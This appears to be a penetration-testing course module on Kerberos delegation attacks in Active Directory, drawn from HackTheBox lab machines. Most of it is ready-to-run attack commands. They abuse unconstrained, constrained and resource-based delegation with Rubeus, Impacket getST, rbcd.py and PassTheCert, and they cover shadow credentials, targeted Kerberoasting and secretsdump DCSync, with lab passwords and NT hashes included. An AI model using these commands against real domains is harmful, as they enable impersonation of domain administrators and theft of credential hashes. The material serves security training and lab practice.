Back to All Modules

Kerberos Delegation Attacks

#Overview

Kerberos delegation allows a service to impersonate a user when accessing other services on their behalf. Three delegation types exist in Active Directory: Unconstrained (the service can impersonate to ANY service), Constrained (restricted to specific SPNs), and Resource-Based Constrained Delegation or RBCD (the resource specifies who can delegate to it). Misconfigurations in delegation settings allow attackers to escalate from control of a delegated service to full Domain Admin access by impersonating privileged accounts.

#Prerequisites

  • Domain user account with specific privileges (varies by attack type)
  • Compromised computer or service account with delegation rights
  • For RBCD: GenericWrite/WriteProperty on a computer object, or ability to add msDS-AllowedToActOnBehalfOfOtherIdentity
  • Tools: Rubeus, impacket-getST, impacket-ticketer, certipy, PKINITtools

#Unconstrained Delegation

#Enumeration

# BloodHound: find computers with unconstrained delegation
# Edge: TrustedForDelegation = true on computer object
# Query: Find Computers with Unconstrained Delegation

# findDelegation.py from ThePorgs Impacket fork
findDelegation.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip dc01.rebound.htb -k
# Look for: DelegationType: Unconstrained (e.g., DC01$ had Unconstrained in Rebound)

# PowerView (Windows)
Get-DomainComputer -Unconstrained

# netexec
netexec ldap <DC> -u <user> -p <pass> -M delegation            # All delegation types
nxc ldap <dc> -u user -p pass -M delegation | grep -i "unconstrained"  # Filter
BASH

#Exploitation: Printer Bug + Rubeus

# 1. Compromise a server with unconstrained delegation
# 2. Run Rubeus in monitor mode on that server to capture TGTs
Rubeus.exe monitor /interval:5 /nowrap

# 3. Coerce DC to authenticate to the compromised server (PrinterBug)
python3 printerbug.py domain/user:pass@<compromised_server> <dc_ip>

# 4. Extract the DC's TGT from Rubeus output
# 5. Use the DC TGT for DCSync
Rubeus.exe ptt /ticket:<base64_ticket>
BASH

#Constrained Delegation

#Enumeration

# findDelegation.py — identify constrained delegation
findDelegation.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip dc01.rebound.htb -k
# Look for: DelegationType: Constrained, DelegationRightsTo: <SPN>
# Example: delegator$ -> Constrained w/o Protocol Transition -> http/dc01.rebound.htb

# BloodHound
# Edge: AllowedToDelegate pointing to specific SPNs

# PowerView
Get-DomainUser -TrustedToAuth  # with protocol transition
Get-DomainComputer -TrustedToAuth
BASH

#S4U2Self and S4U2Proxy

Constrained delegation uses two Kerberos extensions:

  • S4U2Self: Service requests a ticket to itself on behalf of any user
  • S4U2Proxy: Service uses the S4U2Self ticket to request a ticket for another service
# Standard constrained delegation attack
# Impersonate Administrator and get ticket for the target service
getST.py <domain>/<delegation_account> -hashes :<NT_HASH> -dc-ip <DC> \
  -spn <target_spn> -impersonate Administrator

# Example with gMSA account (delegator$ in Rebound)
getST.py rebound.htb/delegator\$ -hashes :e1630b0e18242439a50e9d8b5f5b7524 \
  -dc-ip dc01.rebound.htb -spn http/dc01.rebound.htb -impersonate Administrator

# If Protocol Transition is NOT enabled (KDC_ERR_BADOPTION):
# S4U2Self produces non-forwardable tickets -> S4U2Proxy fails
# Workaround: perform RBCD first to get forwardable ticket
BASH

#S4U2Self KDC_ERR_BADOPTION Debugging

# 1. Check ticket flags: describeTicket.py -ticket TGS.ccache
# 2. Verify forwardable flag is set (required for S4U2Proxy)
# 3. Try impersonating a machine account instead of Administrator (some configurations block user impersonation)
# 4. Check if the service account has 'TrustedToAuthForDelegation' (protocol transition) enabled
TEXT

#Rubeus.exe S4U — On-host Windows Delegation Exploitation

# Constrained delegation (with known password):
Rubeus.exe s4u /user:svc_service /rc4:NTLM_HASH /domain:domain.local /impersonateuser:administrator /msdsservicetype:host/target.domain.local /ptt
# Constrained delegation (with password):
Rubeus.exe s4u /user:svc_service /password:Password1 /domain:domain.local /impersonateuser:administrator /msdsservicetype:cifs/target.domain.local /ptt
# S4U2Self + S4U2Proxy (resource-based constrained delegation):
Rubeus.exe s4u /user:attacker$ /rc4:NTLM_HASH /domain:domain.local /impersonateuser:administrator /msdsservicetype:cifs/target.domain.local /ptt
POWERSHELL

#Without Protocol Transition (from Rebound)

# When delegation lacks protocol transition:
# 1. First do S4U2Self to verify ticket is not forwardable
getST.py rebound.htb/delegator\$ -hashes :<hash> -dc-ip dc01.rebound.htb \
  -spn http/dc01.rebound.htb -impersonate Administrator -self

# 2. Inspect ticket flags
describeTicket.py Administrator@delegator\$@REBOUND.HTB.ccache
# Look for: Flags: (0xa10000) — "forwardable" flag MISSING

# 3. Perform RBCD to get a forwardable ticket (see RBCD section)
BASH

#Resource-Based Constrained Delegation (RBCD)

#Enumeration

# BloodHound: find computers with GenericWrite/WriteProperty
# If you can write to msDS-AllowedToActOnBehalfOfOtherIdentity -> RBCD possible

# certipy shadow credentials approach also enables RBCD if you control a user with an SPN
BASH

#RBCD Attack Workflow

# Step 1: Add delegation rights — allow attacker-controlled principal to delegate
# Using rbcd.py from ThePorgs Impacket fork
# delegate-from: the entity that can now delegate
# delegate-to: the target service account
rbcd.py rebound.htb/delegator\$ -hashes :e1630b0e18242439a50e9d8b5f5b7524 \
  -k -delegate-from ldap_monitor -delegate-to delegator$ -action write \
  -dc-ip dc01 -use-ldaps

# Step 2: Get S4U2Self ticket from ldap_monitor to delegator$ as DC01$
# The impersonated account must NOT have NOT_DELEGATED flag set
# Administrator often has this flag; DC01$ usually does not
getST.py rebound.htb/ldap_monitor:'1GR8t@$$4u' -spn browser/dc01.rebound.htb -impersonate DC01$

# Step 3: Verify ticket is forwardable
describeTicket.py DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
# Look for: Flags: (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep

# Step 4: Use forwardable ticket in S4U2Proxy to get service ticket for the target
getST.py rebound.htb/delegator\$ -hashes :e1630b0e18242439a50e9d8b5f5b7524 \
  -spn http/dc01.rebound.htb \
  -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache \
  -impersonate DC01$

# Step 5: Use the resulting ticket for DCSync
KRB5CCNAME=./DC01\$@http_dc01.rebound.htb@REBOUND.HTB.ccache \
  secretsdump.py -k -no-pass dc01.rebound.htb -just-dc-user administrator
BASH

#RBCD via PassTheCert (from Authority)

When PKINIT is not supported on the DC but you have a certificate:

# 1. Extract cert and key from PFX
openssl pkcs12 -in administrator_authority.pfx -nocerts -out administrator.key
openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt

# 2. Use PassTheCert to write RBCD delegation
python3 passthecert.py -dc-ip 10.10.11.222 -crt administrator.crt -key administrator.key \
  -domain authority.htb -port 636 -action write_rbcd \
  -delegate-to 'AUTHORITY$' -delegate-from 'EVIL01$'

# 3. Perform S4U2Self + S4U2Proxy with EVIL01$
getST.py -spn 'cifs/AUTHORITY.authority.htb' -impersonate Administrator \
  'authority.htb/EVIL01$:Str0ng3st_P@ssw0rd!'

# 4. Export TGT and DCSync
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass authority.htb/Administrator@authority.authority.htb -just-dc-ntlm
BASH

#Shadow Credentials

Shadow Credentials abuse the msDS-KeyCredentialLink attribute on a user or computer object. When you have GenericWrite/GenericAll on an object, you can add a key credential and use PKINIT to request a TGT.

# certipy shadow auto — add key credential, get TGT, recover NT hash
certipy shadow auto -u oorend@rebound.htb -p '1GR8t@$$4u' -account winrm_svc \
  -target dc01.rebound.htb -dc-ip 10.10.11.231 -k
# Output: NT hash for 'winrm_svc': 4469650fd892e98933b4536d2e86e512

# Manual approach with pywhisker + PKINITtools
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
  --target "management_svc" --action "add"
# Produces .pfx file

python3 gettgtpkinit.py -cert-pfx vGRMeeb9.pfx certified.htb/management_svc \
  -pfx-pass '25nQ6mg4JUTeQEjjNRE2' management_svc.ccache

export KRB5CCNAME=management_svc.ccache
python3 getnthash.py -key <AES_key> certified.htb/management_svc
# Output: Recovered NT Hash
BASH

#Targeted Kerberoasting via GenericWrite

When you have GenericWrite on a user (who does not have an SPN), you can add one and Kerberoast them.

# BloodyAD: add SPN to a user
bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
  --host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/whatever'

# Request TGS for the now-Kerberoastable user
netexec ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -k --kerberoasting hash.txt

# targetedKerberoast.py — automated add SPN, request TGS, remove SPN
targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
  -f hashcat --dc-host dc01.tombwatcher.htb

# Clean up: remove the SPN
bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
  --host dc01.tombwatcher.htb set object alfred servicePrincipalName
BASH

#Key BloodHound Edges for Delegation Attacks

EdgeMeaningExploitation
HasSIDHistoryUser carries SID of a privileged groupForge tickets with additional PAC
AddMemberCan add users to a groupAdd self to privileged group
ForceChangePasswordCan reset user's passwordReset target user's password
AddSelfCan add self to a groupAdd self to Infrastructure/LAPS_Readers group
GenericAllFull control over objectShadow credential, force password, targeted Kerberoast
GenericWriteWrite to non-protected attributesAdd SPN, add to KeyCredentialLink
WriteOwnerCan change object ownershipTake ownership, then grant self GenericAll
WriteDACLCan modify object ACLGrant self GenericAll or DCSync rights
WritePropertyWrite to specific attributesAdd SPN, modify msDS-AllowedToActOnBehalfOfOtherIdentity
OwnsObject ownershipImplied GenericAll via ownership

#Delegation Across Forest Trusts

# Constrained delegation does NOT work across forest trusts with SID filtering enabled (default)
# Unconstrained delegation works cross-forest but the TGT is from the foreign domain
# To abuse cross-forest: SID filtering must be disabled (rare in production)
TEXT

#Common Pitfalls

  • NOT_DELEGATED flag: The Administrator account often has this flag (userAccountControl 1048576/0x100000). Impersonate DC01$ or another machine account instead.
  • Protocol Transition not enabled: S4U2Self produces non-forwardable tickets. Combine with RBCD for forwardable tickets.
  • KDC_ERR_BADOPTION during S4U2Proxy: The S4U2Self ticket is not forwardable or the SPN is not in the delegation list.
  • adminCount=1: Objects with adminCount=1 do not inherit ACEs from parent containers. Use direct ACL manipulation.

#OPSEC Considerations

  • Kerberos delegation attacks generate TGS requests (Event ID 4769) and TGT requests (Event ID 4768)
  • Adding KeyCredentials (for shadow credentials) modifies the target object and is logged
  • Adding SPNs to non-service accounts is unusual and detectable
  • Constrained delegation modifications are logged in the DC's Security log
  • RBCD attribute modification is visible in AD object change logs

#Post-Exploitation Value

  • Impersonation of Domain Admins or Domain Controllers
  • Ability to request service tickets for any SPN as any user
  • Potential for DCSync via impersonated DC machine account
  • Long-term persistence if delegation rights are not audited

#Cross-References

#Tool References

ToolLink
Rubeushttps://github.com/GhostPack/Rubeus
Impacket (getST, ticketer, findDelegation)https://github.com/fortra/impacket
ThePorgs Impacket Forkhttps://github.com/ThePorgs/impacket
certipyhttps://github.com/ly4k/Certipy
PKINITtoolshttps://github.com/dirkjanm/PKINITtools
pywhiskerhttps://github.com/ShutdownRepo/pywhisker
PassTheCerthttps://github.com/AlmondOffSec/PassTheCert
targetedKerberoasthttps://github.com/ShutdownRepo/targetedKerberoast

#Source Machines

  • Rebound (Insane) — gMSA delegator$ with constrained delegation (no protocol transition) -> RBCD via ldap_monitor -> S4U2Self + S4U2Proxy -> DCSync
  • Authority (Medium) — ESC1 certificate -> PassTheCert RBCD -> EVIL01$ delegation -> getST -> DCSync
  • Certified (Medium) — WriteOwner -> GenericAll -> Shadow Credential chain (pywhisker + PKINITtools)
  • Fluffy (Easy) — GenericAll -> add self to service accounts -> GenericWrite -> Shadow Credential on ca_svc + winrm_svc
  • TombWatcher (Medium) — Targeted Kerberoasting (WriteSPN on Alfred) -> gMSA -> ForceChangePassword -> Shadow Credential on John